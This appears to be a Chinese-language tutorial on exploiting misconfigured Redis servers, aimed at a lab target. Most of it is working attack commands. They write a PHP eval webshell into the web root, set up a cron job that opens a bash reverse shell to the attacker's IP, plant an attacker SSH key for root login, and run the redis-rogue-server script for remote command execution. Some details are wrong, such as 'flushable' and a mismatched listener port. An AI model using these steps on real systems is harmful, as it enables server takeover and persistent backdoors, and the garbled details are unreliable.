1. 程式人生 > 其它 >Redis漏洞利用

Redis漏洞利用

一、Redis介紹

Redis是一個開源的高效能鍵值資料庫。最熱門的NoSq資料庫之一,也被人們稱為資料結構伺服器。

預設埠:6379

可能存在的漏洞:未授權訪問、主從複製

二、Redis相關漏洞利用

2.1、未授權訪問

2.1.1、存在原因

未設定密碼或者設定弱密碼

bind 127.0.0.1      被註釋了,所有機器都可以訪問

protected-mode no  關閉安全模式

使用root許可權 

等

(被攻擊機器)靶機安裝好一個redis後,修改redis.conf後以root許可權啟動。

2.1.2、常用命令

  1. 檢視資訊:info
  2. 刪除所有資料庫內容:flushable
  3. 重新整理資料庫:flush
  4. 看所有鍵:KEYS*,使用 select nun可以檢視鍵值資料。
  5. 設定變數:set test“who am i
  6. config set dir dirpath設定路徑等配置
  7. config get dir/filename獲取路徑及資料配置資訊
  8. save儲存
  9. get變數,檢視變數名稱
  10. 刪除Key:DEL KEY_NAME

2.1.3、利用方法

(1)獲取資料庫資訊

redis-cli -h  192.168.31.152

即可成功進入到目標(192.168.31.152)redisl

檢視redis版本相關資訊,也判斷是否存在密碼

info

成功顯示資訊代表沒有密碼

獲取預設的redis目錄、和rdb檔名:可以在修改前先獲取,然後走的時候再恢復。

CONFIG GET dir         #設定目錄
CONFIG GET dbfilename  #設定檔名

(2)寫webshell

config set dir /var/www/html/            #切換目錄到網站的根目錄(根據實際情況來) 
set x "\n\n\n<?php phpinfo();?>\n\n\n"   #寫入惡意程式碼phpinfo() 
set xx "\n\n\n<?php @eval($_POST['-7']);?>\n\n\n"  #寫入一句話木馬 
config set dbfilename shell.php                    #生成木馬檔案shell.php 
save                                               #進行儲存

成功寫入到目標機

(3)寫定時任務反彈shell

先在自己的伺服器上監聽一個埠

nc -lvnp 9999        #攻擊機監聽自己的7999埠 
redis-cli -h 192.168.31.152 #進入對方redis 
set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.31.116/7999 0>&1\n" #設定變數值為反彈shell語句 
config set dir /var/spool/cron/   #設定目錄為目標機定時任務目錄 
config set dbfilename root        #設定檔名 
save                              #儲存

寫入成功

但是一直nc沒有接收到

查了下是因為存在亂碼,centos會忽略亂碼去執行格式正確的任務計劃 
而ubuntu並不會忽略這些亂碼,所以導致命令執行失敗
推薦可以親自驗證一下

(4)寫入Linux ssh-key公鑰,然後通過私鑰直接登入。

攻擊機:192.168.31.116

生成金鑰

ssh-keygen -t rsa

將公鑰內容匯出到文字中

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

寫入目標機器

cat key.txt | redis-cli -h 192.168.31.152 -x set xxx

設定路徑、檔名儲存,路徑根據實際情況來改動

寫入成功

ssh -i id_rsa 192.168.31.152

登入成功

2.2、主從複製

2.2.1、漏洞版本

主從複製存在漏洞的版本

Redis <= 5.0.5

2.2.2、環境部署

docker pull damonevking/redis5.0  
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server

2.2.3、攻擊原理

Redis是一個使用ANSIC編寫的開源、支援網路、基於記憶體、可選永續性的鍵值對儲存資料庫。

但如果當把資料儲存在單個Redis的例項中,當讀寫體量比較大的時候,服務端就很難承受。為了應對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis例項作為主機,其他例項都作為備份機,其中主機和從機資料相同,而從機只負責讀,主機只負責寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。 攻擊者(主機)寫一個so檔案,然後通過 FULLRESYNC(全域性)同步檔案到受害人(從機)上。

2.2.4、利用方式

利用指令碼

https://github.com/n0b0dyCN/redis-rogue-server

執行後可直接進行命令執行

python3 redis-rogue-server.py --rhost 192.168.31.152 --lhost 192.168.31.146 --exp=exp.so

指令碼相關,看github上的指令碼介紹即可。